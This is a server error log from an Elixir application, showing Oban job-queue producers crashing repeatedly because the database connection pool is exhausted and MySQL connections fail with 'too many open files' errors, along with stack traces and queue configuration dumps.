State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:53:27.238651Z], limit: 5, uuid: "e2bc48ad-7acc-40b4-9860-9b089ca9087e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:27.238657Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143706>, refresh_timer: #Reference<0.2525715032.1099431938.36260>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:53:27.239283Z], limit: 3, uuid: "37c8d2f6-3032-4ca2-8e4e-f8f320984bfa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:27.239289Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143710>, refresh_timer: #Reference<0.2525715032.1068498948.35697>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:53:27.238064Z], limit: 10, uuid: "76fe99c9-6999-410c-bff5-d9adb8d085a8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:27.238074Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.143707>, refresh_timer: #Reference<0.2525715032.1068498948.35683>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:40.414000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:44.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:44.552000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:48.239000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:50.756000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:53:39.239634Z], limit: 10, uuid: "44329bd2-7ed7-447d-8699-e2c7d07b062c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:39.239640Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.8599>, refresh_timer: #Reference<0.2525715032.1068498948.35766>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:53:39.239647Z], limit: 3, uuid: "dc2b16cf-87e3-4548-875d-0a62f5e48d4a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:39.239653Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.8598>, refresh_timer: #Reference<0.2525715032.1077673987.8589>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:53:39.239675Z], limit: 20, uuid: "31dd47c9-20d7-44e8-b74e-b929ee436053", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:39.239680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.8600>, refresh_timer: #Reference<0.2525715032.1099431938.36388>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:53:39.239252Z], limit: 5, uuid: "17ea18d4-81d2-4800-ac5d-e0452c333b98", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:39.239259Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.8601>, refresh_timer: #Reference<0.2525715032.1099431938.36372>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:53:39.239550Z], limit: 5, uuid: "3e4a2670-d693-4d52-94d2-49346ca699c9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:39.239555Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.8602>, refresh_timer: #Reference<0.2525715032.1099431938.36383>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:53:39.239364Z], limit: 50, uuid: "6422b8b8-af50-4517-a165-0abdf189c9d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:39.239370Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.8597>, refresh_timer: #Reference<0.2525715032.1077673987.8572>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:53.651000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:54.600000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:58.440000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:59.530000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:01.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
